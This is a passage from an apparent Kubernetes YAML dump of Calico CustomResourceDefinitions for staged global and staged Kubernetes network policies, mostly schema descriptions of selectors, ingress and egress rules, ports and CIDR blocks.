                              label \"my_label\".\n\n\tNotSelector = \"has(my_label)\"
                              matches packets that are not from Calico-controlled\n\tendpoints
                              that do have the label \"my_label\".\n\nThe effect is
                              that the latter will accept packets from non-Calico
                              sources whereas the\nformer is limited to packets from
                              Calico-controlled endpoints."
                            type: string
                          serviceAccounts:
                            description: |-
                              ServiceAccounts is an optional field that restricts the rule to only apply to traffic that originates from (or
                              terminates at) a pod running as a matching service account.
                            properties:
                              names:
                                description: |-
                                  Names is an optional field that restricts the rule to only apply to traffic that originates from (or terminates
                                  at) a pod running as a service account whose name is in the list.
                                items:
                                  type: string
                                type: array
                              selector:
                                description: |-
                                  Selector is an optional field that restricts the rule to only apply to traffic that originates from
                                  (or terminates at) a pod running as a service account that matches the given label selector.
                                  If both Names and Selector are specified then they are AND'ed.
                                type: string
                            type: object
                          services:
                            description: |-
                              Services is an optional field that contains options for matching Kubernetes Services.
                              If specified, only traffic that originates from or terminates at endpoints within the selected
                              service(s) will be matched, and only to/from each endpoint's port.

                              Services cannot be specified on the same rule as Selector, NotSelector, NamespaceSelector, Nets,
                              NotNets or ServiceAccounts.

                              Ports and NotPorts can only be specified with Services on ingress rules.
                            properties:
                              name:
                                description: Name specifies the name of a Kubernetes
                                  Service to match.
                                type: string
                              namespace:
                                description: |-
                                  Namespace specifies the namespace of the given Service. If left empty, the rule
                                  will match within this policy's namespace.
                                type: string
                            type: object
                        type: object
                    required:
                    - action
                    type: object
                  type: array
                namespaceSelector:
                  description: NamespaceSelector is an optional field for an expression
                    used to select a pod based on namespaces.
                  type: string
                order:
                  description: |-
                    Order is an optional field that specifies the order in which the policy is applied.
                    Policies with higher "order" are applied after those with lower
                    order within the same tier.  If the order is omitted, it may be considered to be "infinite" - i.e. the
                    policy will be applied last.  Policies with identical order will be applied in
                    alphanumerical order based on the Policy "Name" within the tier.
                  type: number
                performanceHints:
                  description: |-
                    PerformanceHints contains a list of hints to Calico's policy engine to
                    help process the policy more efficiently.  Hints never change the
                    enforcement behaviour of the policy.

                    Currently, the only available hint is "AssumeNeededOnEveryNode".  When
                    that hint is set on a policy, Felix will act as if the policy matches
                    a local endpoint even if it does not. This is useful for "preloading"
                    any large static policies that are known to be used on every node.
                    If the policy is _not_ used on a particular node then the work
                    done to preload the policy (and to maintain it) is wasted.
                  items:
                    type: string
                  type: array
                preDNAT:
                  description: PreDNAT indicates to apply the rules in this policy
                    before any DNAT.
                  type: boolean
                selector:
                  description: "The selector is an expression used to pick pick out
                    the endpoints that the policy should\nbe applied to.\n\nSelector
                    expressions follow this syntax:\n\n\tlabel == \"string_literal\"
                    \ ->  comparison, e.g. my_label == \"foo bar\"\n\tlabel != \"string_literal\"
                    \  ->  not equal; also matches if label is not present\n\tlabel
                    in { \"a\", \"b\", \"c\", ... }  ->  true if the value of label
                    X is one of \"a\", \"b\", \"c\"\n\tlabel not in { \"a\", \"b\",
                    \"c\", ... }  ->  true if the value of label X is not one of \"a\",
                    \"b\", \"c\"\n\thas(label_name)  -> True if that label is present\n\t!
                    expr -> negation of expr\n\texpr && expr  -> Short-circuit and\n\texpr
                    || expr  -> Short-circuit or\n\t( expr ) -> parens for grouping\n\tall()
                    or the empty selector -> matches all endpoints.\n\nLabel names
                    are allowed to contain alphanumerics, -, _ and /. String literals
                    are more permissive\nbut they do not support escape characters.\n\nExamples
                    (with made-up labels):\n\n\ttype == \"webserver\" && deployment
                    == \"prod\"\n\ttype in {\"frontend\", \"backend\"}\n\tdeployment
                    != \"dev\"\n\t! has(label_name)"
                  type: string
                serviceAccountSelector:
                  description: ServiceAccountSelector is an optional field for an
                    expression used to select a pod based on service accounts.
                  type: string
                stagedAction:
                  description: The staged action. If this is omitted, the default
                    is Set.
                  type: string
                tier:
                  description: |-
                    The name of the tier that this policy belongs to.  If this is omitted, the default
                    tier (name is "default") is assumed.  The specified tier must exist in order to create
                    security policies within the tier, the "default" tier is created automatically if it
                    does not exist, this means for deployments requiring only a single Tier, the tier name
                    may be omitted on all policy management requests.
                  type: string
                types:
                  description: |-
                    Types indicates whether this policy applies to ingress, or to egress, or to both.  When
                    not explicitly specified (and so the value on creation is empty or nil), Calico defaults
                    Types according to what Ingress and Egress rules are present in the policy.  The
                    default is:

                    - [ PolicyTypeIngress ], if there are no Egress rules (including the case where there are
                      also no Ingress rules)

                    - [ PolicyTypeEgress ], if there are Egress rules but no Ingress rules

                    - [ PolicyTypeIngress, PolicyTypeEgress ], if there are both Ingress and Egress rules.

                    When the policy is read back again, Types will always be one of these values, never empty
                    or nil.
                  items:
                    description: PolicyType enumerates the possible values of the
                      PolicySpec Types field.
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: StagedGlobalNetworkPolicy
      listKind: StagedGlobalNetworkPolicyList
      plural: stagedglobalnetworkpolicies
      singular: stagedglobalnetworkpolicy
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"stagedkubernetesnetworkpolicies.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"StagedKubernetesNetworkPolicy","listKind":"StagedKubernetesNetworkPolicyList","plural":"stagedkubernetesnetworkpolicies","singular":"stagedkubernetesnetworkpolicy"},"preserveUnknownFields":false,"scope":"Namespaced","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"properties":{"egress":{"description":"List of egress rules to be applied to the selected pods. Outgoing traffic is\nallowed if there are no NetworkPolicies selecting the pod (and cluster policy\notherwise allows the traffic), OR if the traffic matches at least one egress rule\nacross all of the NetworkPolicy objects whose podSelector matches the pod. If\nthis field is empty then this NetworkPolicy limits all outgoing traffic (and serves\nsolely to ensure that the pods it selects are isolated by default).\nThis field is beta-level in 1.8","items":{"description":"NetworkPolicyEgressRule describes a particular set of traffic that is allowed out of pods\nmatched by a NetworkPolicySpec's podSelector. The traffic must match both ports and to.\nThis type is beta-level in 1.8","properties":{"ports":{"description":"ports is a list of destination ports for outgoing traffic.\nEach item in this list is combined using a logical OR. If this field is\nempty or missing, this rule matches all ports (traffic not restricted by port).\nIf this field is present and contains at least one item, then this rule allows\ntraffic only if the traffic matches at least one port in the list.","items":{"description":"NetworkPolicyPort describes a port to allow traffic on","properties":{"endPort":{"description":"endPort indicates that the range of ports from port to endPort if set, inclusive,\nshould be allowed by the policy. This field cannot be defined if the port field\nis not defined or if the port field is defined as a named (string) port.\nThe endPort must be equal or greater than port.","format":"int32","type":"integer"},"port":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"port represents the port on the given protocol. This can either be a numerical or named\nport on a pod. If this field is not provided, this matches all port names and\nnumbers.\nIf present, only traffic on the specified protocol AND port will be matched.","x-kubernetes-int-or-string":true},"protocol":{"description":"protocol represents the protocol (TCP, UDP, or SCTP) which traffic must match.\nIf not specified, this field defaults to TCP.","type":"string"}},"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"to":{"description":"to is a list of destinations for outgoing traffic of pods selected for this rule.\nItems in this list are combined using a logical OR operation. If this field is\nempty or missing, this rule matches all destinations (traffic not restricted by\ndestination). If this field is present and contains at least one item, this rule\nallows traffic only if the traffic matches at least one item in the to list.","items":{"description":"NetworkPolicyPeer describes a peer to allow traffic to/from. Only certain combinations of\nfields are allowed","properties":{"ipBlock":{"description":"ipBlock defines policy on a particular IPBlock. If this field is set then\nneither of the other fields can be.","properties":{"cidr":{"description":"cidr is a string representing the IPBlock\nValid examples are \"192.168.1.0/24\" or \"2001:db8::/64\"","type":"string"},"except":{"description":"except is a slice of CIDRs that should not be included within an IPBlock\nValid examples are \"192.168.1.0/24\" or \"2001:db8::/64\"\nExcept values will be rejected if they are outside the cidr range","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["cidr"],"type":"object"},"namespaceSelector":{"description":"namespaceSelector selects namespaces using cluster-scoped labels. This field follows\nstandard label selector semantics; if present but empty, it selects all namespaces.\n\nIf podSelector is also set, then the NetworkPolicyPeer as a whole selects\nthe pods matching podSelector in the namespaces selected by namespaceSelector.\nOtherwise it selects all pods in the namespaces selected by namespaceSelector.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"podSelector is a label selector which selects pods. This field follows standard label\nselector semantics; if present but empty, it selects all pods.\n\nIf namespaceSelector is also set, then the NetworkPolicyPeer as a whole selects\nthe pods matching podSelector in the Namespaces selected by NamespaceSelector.\nOtherwise it selects the pods matching podSelector in the policy's own namespace.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"}},"type":"object"},"type":"array"},"ingress":{"description":"List of ingress rules to be applied to the selected pods. Traffic is allowed to\na pod if there are no NetworkPolicies selecting the pod\n(and cluster policy otherwise allows the traffic), OR if the traffic source is\nthe pod's local node, OR if the traffic matches at least one ingress rule\nacross all of the NetworkPolicy objects whose podSelector matches the pod. If\nthis field is empty then this NetworkPolicy does not allow any traffic (and serves\nsolely to ensure that the pods it selects are isolated by default)","items":{"description":"NetworkPolicyIngressRule describes a particular set of traffic that is allowed to the pods\nmatched by a NetworkPolicySpec's podSelector. The traffic must match both ports and from.","properties":{"from":{"description":"from is a list of sources which should be able to access the pods selected for this rule.\nItems in this list are combined using a logical OR operation. If this field is\nempty or missing, this rule matches all sources (traffic not restricted by\nsource). If this field is present and contains at least one item, this rule\nallows traffic only if the traffic matches at least one item in the from list.","items":{"description":"NetworkPolicyPeer describes a peer to allow traffic to/from. Only certain combinations of\nfields are allowed","properties":{"ipBlock":{"description":"ipBlock defines policy on a particular IPBlock. If this field is set then\nneither of the other fields can be.","properties":{"cidr":{"description":"cidr is a string representing the IPBlock\nValid examples are \"192.168.1.0/24\" or \"2001:db8::/64\"","type":"string"},"except":{"description":"except is a slice of CIDRs that should not be included within an IPBlock\nValid examples are \"192.168.1.0/24\" or \"2001:db8::/64\"\nExcept values will be rejected if they are outside the cidr range","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["cidr"],"type":"object"},"namespaceSelector":{"description":"namespaceSelector selects namespaces using cluster-scoped labels. This field follows\nstandard label selector semantics; if present but empty, it selects all namespaces.\n\nIf podSelector is also set, then the NetworkPolicyPeer as a whole selects\nthe pods matching podSelector in the namespaces selected by namespaceSelector.\nOtherwise it selects all pods in the namespaces selected by namespaceSelector.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"podSelector":{"description":"podSelector is a label selector which selects pods. This field follows standard label\nselector semantics; if present but empty, it selects all pods.\n\nIf namespaceSelector is also set, then the NetworkPolicyPeer as a whole selects\nthe pods matching podSelector in the Namespaces selected by NamespaceSelector.\nOtherwise it selects the pods matching podSelector in the policy's own namespace.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"}},"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"ports is a list of ports which should be made accessible on the pods selected for\nthis rule. Each item in this list is combined using a logical OR. If this field is\nempty or missing, this rule matches all ports (traffic not restricted by port).\nIf this field is present and contains at least one item, then this rule allows\ntraffic only if the traffic matches at least one port in the list.","items":{"description":"NetworkPolicyPort describes a port to allow traffic on","properties":{"endPort":{"description":"endPort indicates that the range of ports from port to endPort if set, inclusive,\nshould be allowed by the policy. This field cannot be defined if the port field\nis not defined or if the port field is defined as a named (string) port.\nThe endPort must be equal or greater than port.","format":"int32","type":"integer"},"port":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"port represents the port on the given protocol. This can either be a numerical or named\nport on a pod. If this field is not provided, this matches all port names and\nnumbers.\nIf present, only traffic on the specified protocol AND port will be matched.","x-kubernetes-int-or-string":true},"protocol":{"description":"protocol represents the protocol (TCP, UDP, or SCTP) which traffic must match.\nIf not specified, this field defaults to TCP.","type":"string"}},"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"}},"type":"object"},"type":"array"},"podSelector":{"description":"Selects the pods to which this NetworkPolicy object applies. The array of\ningress rules is applied to any pods selected by this field. Multiple network\npolicies can select the same set of pods. In this case, the ingress rules for\neach are combined additively. This field is NOT optional and follows standard\nlabel selector semantics. An empty podSelector matches all pods in this\nnamespace.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"policyTypes":{"description":"List of rule types that the NetworkPolicy relates to.\nValid options are Ingress, Egress, or Ingress,Egress.\nIf this field is not specified, it will default based on the existence of Ingress or Egress rules;\npolicies that contain an Egress section are assumed to affect Egress, and all policies\n(whether or not they contain an Ingress section) are assumed to affect Ingress.\nIf you want to write an egress-only policy, you must explicitly specify policyTypes [ \"Egress\" ].\nLikewise, if you want to write a policy that specifies that no egress is allowed,\nyou must specify a policyTypes value that include \"Egress\" (since such a policy would not include\nan Egress section and would otherwise default to just [ \"Ingress\" ]).\nThis field is beta-level in 1.8","items":{"description":"PolicyType string describes the NetworkPolicy type\nThis type is beta-level in 1.8","type":"string"},"type":"array"},"stagedAction":{"description":"The staged action. If this is omitted, the default is Set.","type":"string"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:51Z"
    generation: 1
    name: stagedkubernetesnetworkpolicies.crd.projectcalico.org
    resourceVersion: "6820725"
    uid: 13882d77-20b2-468a-86cd-3d219968711e
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: StagedKubernetesNetworkPolicy
      listKind: StagedKubernetesNetworkPolicyList
      plural: stagedkubernetesnetworkpolicies
      singular: stagedkubernetesnetworkpolicy
    scope: Namespaced
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              properties:
                egress:
                  description: |-
                    List of egress rules to be applied to the selected pods. Outgoing traffic is
                    allowed if there are no NetworkPolicies selecting the pod (and cluster policy
                    otherwise allows the traffic), OR if the traffic matches at least one egress rule
                    across all of the NetworkPolicy objects whose podSelector matches the pod. If
                    this field is empty then this NetworkPolicy limits all outgoing traffic (and serves
                    solely to ensure that the pods it selects are isolated by default).
                    This field is beta-level in 1.8
                  items:
                    description: |-
                      NetworkPolicyEgressRule describes a particular set of traffic that is allowed out of pods
                      matched by a NetworkPolicySpec's podSelector. The traffic must match both ports and to.
                      This type is beta-level in 1.8
                    properties:
                      ports:
                        description: |-
                          ports is a list of destination ports for outgoing traffic.
                          Each item in this list is combined using a logical OR. If this field is
                          empty or missing, this rule matches all ports (traffic not restricted by port).
                          If this field is present and contains at least one item, then this rule allows
                          traffic only if the traffic matches at least one port in the list.
                        items:
                          description: NetworkPolicyPort describes a port to allow
                            traffic on
                          properties:
                            endPort:
                              description: |-
                                endPort indicates that the range of ports from port to endPort if set, inclusive,
                                should be allowed by the policy. This field cannot be defined if the port field
                                is not defined or if the port field is defined as a named (string) port.
                                The endPort must be equal or greater than port.
                              format: int32
                              type: integer
                            port:
                              anyOf:
                              - type: integer
                              - type: string
                              description: |-
                                port represents the port on the given protocol. This can either be a numerical or named
                                port on a pod. If this field is not provided, this matches all port names and
                                numbers.
                                If present, only traffic on the specified protocol AND port will be matched.
                              x-kubernetes-int-or-string: true
                            protocol:
                              description: |-
                                protocol represents the protocol (TCP, UDP, or SCTP) which traffic must match.
                                If not specified, this field defaults to TCP.
                              type: string
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                      to:
                        description: |-
                          to is a list of destinations for outgoing traffic of pods selected for this rule.
                          Items in this list are combined using a logical OR operation. If this field is
                          empty or missing, this rule matches all destinations (traffic not restricted by
                          destination). If this field is present and contains at least one item, this rule
                          allows traffic only if the traffic matches at least one item in the to list.
                        items:
                          description: |-
                            NetworkPolicyPeer describes a peer to allow traffic to/from. Only certain combinations of
                            fields are allowed
                          properties:
                            ipBlock:
                              description: |-
                                ipBlock defines policy on a particular IPBlock. If this field is set then
                                neither of the other fields can be.
                              properties:
                                cidr:
                                  description: |-
                                    cidr is a string representing the IPBlock
                                    Valid examples are "192.168.1.0/24" or "2001:db8::/64"
                                  type: string
                                except:
                                  description: |-
                                    except is a slice of CIDRs that should not be included within an IPBlock
                                    Valid examples are "192.168.1.0/24" or "2001:db8::/64"
                                    Except values will be rejected if they are outside the cidr range
                                  items:
                                    type: string
                                  type: array
                                  x-kubernetes-list-type: atomic
                              required:
                              - cidr
                              type: object
                            namespaceSelector:
                              description: |-
                                namespaceSelector selects namespaces using cluster-scoped labels. This field follows
                                standard label selector semantics; if present but empty, it selects all namespaces.

                                If podSelector is also set, then the NetworkPolicyPeer as a whole selects
                                the pods matching podSelector in the namespaces selected by namespaceSelector.
                                Otherwise it selects all pods in the namespaces selected by namespaceSelector.
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                  x-kubernetes-list-type: atomic
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                            podSelector:
                              description: |-
                                podSelector is a label selector which selects pods. This field follows standard label
                                selector semantics; if present but empty, it selects all pods.

                                If namespaceSelector is also set, then the NetworkPolicyPeer as a whole selects
                                the pods matching podSelector in the Namespaces selected by NamespaceSelector.
                                Otherwise it selects the pods matching podSelector in the policy's own namespace.
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                  x-kubernetes-list-type: atomic
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                    type: object
                  type: array
                ingress:
                  description: |-
                    List of ingress rules to be applied to the selected pods. Traffic is allowed to
                    a pod if there are no NetworkPolicies selecting the pod
                    (and cluster policy otherwise allows the traffic), OR if the traffic source is
                    the pod's local node, OR if the traffic matches at least one ingress rule
                    across all of the NetworkPolicy objects whose podSelector matches the pod. If
                    this field is empty then this NetworkPolicy does not allow any traffic (and serves
                    solely to ensure that the pods it selects are isolated by default)
                  items:
                    description: |-
                      NetworkPolicyIngressRule describes a particular set of traffic that is allowed to the pods
                      matched by a NetworkPolicySpec's podSelector. The traffic must match both ports and from.
                    properties:
                      from:
                        description: |-
                          from is a list of sources which should be able to access the pods selected for this rule.
                          Items in this list are combined using a logical OR operation. If this field is
                          empty or missing, this rule matches all sources (traffic not restricted by
                          source). If this field is present and contains at least one item, this rule
                          allows traffic only if the traffic matches at least one item in the from list.
                        items:
                          description: |-
                            NetworkPolicyPeer describes a peer to allow traffic to/from. Only certain combinations of
                            fields are allowed
                          properties:
                            ipBlock:
                              description: |-
                                ipBlock defines policy on a particular IPBlock. If this field is set then
                                neither of the other fields can be.
                              properties:
                                cidr:
                                  description: |-
                                    cidr is a string representing the IPBlock
                                    Valid examples are "192.168.1.0/24" or "2001:db8::/64"
                                  type: string
                                except:
                                  description: |-
                                    except is a slice of CIDRs that should not be included within an IPBlock
                                    Valid examples are "192.168.1.0/24" or "2001:db8::/64"
                                    Except values will be rejected if they are outside the cidr range
                                  items:
                                    type: string
                                  type: array
                                  x-kubernetes-list-type: atomic
                              required:
                              - cidr
                              type: object
                            namespaceSelector:
                              description: |-
                                namespaceSelector selects namespaces using cluster-scoped labels. This field follows
                                standard label selector semantics; if present but empty, it selects all namespaces.

                                If podSelector is also set, then the NetworkPolicyPeer as a whole selects
                                the pods matching podSelector in the namespaces selected by namespaceSelector.
                                Otherwise it selects all pods in the namespaces selected by namespaceSelector.
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                  x-kubernetes-list-type: atomic
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                  type: object
                              type: object
                              x-kubernetes-map-type: atomic
                            podSelector:
                              description: |-
                                podSelector is a label selector which selects pods. This field follows standard label
                                selector semantics; if present but empty, it selects all pods.

                                If namespaceSelector is also set, then the NetworkPolicyPeer as a whole selects
                                the pods matching podSelector in the Namespaces selected by NamespaceSelector.
                                Otherwise it selects the pods matching podSelector in the policy's own namespace.
                              properties:
                                matchExpressions:
                                  description: matchExpressions is a list of label
                                    selector requirements. The requirements are ANDed.
                                  items:
                                    description: |-
                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                      relates the key and values.
                                    properties:
                                      key:
                                        description: key is the label key that the
                                          selector applies to.
                                        type: string
                                      operator:
                                        description: |-
                                          operator represents a key's relationship to a set of values.
                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                        type: string
                                      values:
                                        description: |-
                                          values is an array of string values. If the operator is In or NotIn,
                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                          the values array must be empty. This array is replaced during a strategic
                                          merge patch.
                                        items:
                                          type: string
                                        type: array
                                        x-kubernetes-list-type: atomic
                                    required:
                                    - key
                                    - operator
                                    type: object
                                  type: array
                                  x-kubernetes-list-type: atomic
                                matchLabels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
